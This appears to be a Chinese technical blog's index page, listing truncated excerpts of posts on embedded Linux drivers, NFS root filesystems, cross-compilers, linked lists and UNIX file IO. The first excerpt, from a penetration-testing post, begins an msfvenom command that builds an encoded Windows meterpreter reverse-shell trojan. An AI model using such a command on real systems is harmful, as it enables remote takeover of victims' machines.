原创 興趣之滲透測試學習

一、msf框架 1、 生成木馬程序: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘0x00’ LHOST=192.168.1

原创 實現虛擬串口設備收發數據

說明: 開發環境:ubuntu14.04 硬件環境:EasyArm-i.mx283A 虛擬串口設備  這裏的虛擬串口設備並不是開發板上的外設,而是由驅動模擬出來的一個fifo緩衝區,在功能上類似串口外設,可以實現數據的收發,收發對

原创 學習字符設備驅動

說明: 開發環境:ubuntu14.04 硬件環境:EasyArm-i.mx283A 常識先了解 打開一個文件時系統調用的過程  Linux下設備以文件的形式呈現,應用程序對設備的操作就像操作一般的文件IO一樣,open,wri

原创 NFS方式啓動根文件系統

前言  採用的開發環境是Ubuntu14.04和iMX-283A開發板,通過在ubuntu上搭建NFS服務器,實現開發板遠程啓動根文件系統。 NFS服務器介紹  NFS 即網絡文件系統(Network File-System),可

原创 線性表 | 靜態鏈表

前言 靜態鏈表,是通過遊標來記錄下一個節點的位置,約定第一個遊標指向備用列表的頭,最後一個遊標指向靜態鏈表的頭,比如: Don’t talk. Show me the code 頭文件 #ifndef _STATIC_LIN

原创 線性表 | 單鏈表

頭文件 #ifndef _SINGLE_LINK_LIST_H_ #define _SINGLE_LINK_LIST_H_ #define OK 1 #define ERROR 0 #define TRUE 1 #defin

原创 線性表 | 數組

頭文件 #ifndef _SQLIST_FUNC_H_ #define _SQLIST_FUNC_H_ #define MAXSIZE 20 #define OK 1 #define ERROR 0 #define TRUE 1

原创 監測環境溫度遇坑記之傳指針參數

 從上圖可以發現,我在客戶端向服務器發送了53字節的數據報文,但是服務器並沒有一次接收完成,而是總共調用了7次read才接收完成。出現多次調用read的情況是因爲程序中設置了socket文件描述符爲阻塞模式,epoll爲水平觸發

原创 Linux下學習日誌管理系統並實現日誌功能

前言 所謂日誌就是記下工作的過程,也就是小學時候老師經常叫我們寫的日記,要求我們記錄今天做了哪些事啊,遇到了什麼有趣的事啊,等等。計算機中程序的運行就像我們人類活動一樣會遇到各種各種的事件,程序員也會像小學老師一樣要求程序寫日記,

原创 深度優先搜索 && unordered_map

前言 這是我結合例題學習STL的第二篇文章,第一篇文章粗略地瞭解了什麼是STL。今天在leetCode上學習編程,遇到深度優先搜索+STL容器的使用,於是就過來記錄下來。 例題描述 首先給出題目的描述,然後根據題意去了解和學習un

原创 UNIX環境下文件IO

文章目錄概述文件空洞文件共享一個進程打開多個文件兩個進程打開同一個文件原子操作 概述 大多數UNIX文件IO只需用到5個函數:open、read、write、lseek以及close。這些函數經常被稱之爲不帶緩存的IO,不帶緩存指

原创 製作s3c2440-crosstool-ng交叉編譯器

crosstool-ng 安裝crosstool-ng 官網下載到自己創建的文件夾中: http://crosstool-ng.org/download/crosstool-ng/ 解壓:tar -jxvf crossto

原创 STM32L433CB

一、初始STM32 二、學習步驟 (1)、學習過程中遇到的問題: 、 ①使用J-link下載調試程序時,Keil找不到設備。 答:可能是下載器出現了問題,之後在淘寶上購買了ST-LINK,連

原创 ubuntu14.04環境下基於s3c2440的buildroot、crosstool-ng交叉編譯器搭建

buildroot 如果ubuntu14.04第一次安裝builtroot的話,會有很多插件需要下載,可以先執行命令安裝,也可以後面步驟make之後,根據報錯的內容逐一安裝: sudo apt-get install libnc

原创 s3c2440——搭建根文件目錄樹

根文件系統樹製作 摘要:根目錄是系統中其他目錄開始的地方。 /bin:系統命令,比如cp,cat,ls,mkdir等。 /sbin:系統管理員命令,比如ifconfig,reboot,shutdown等。 /boot:系統啓動相關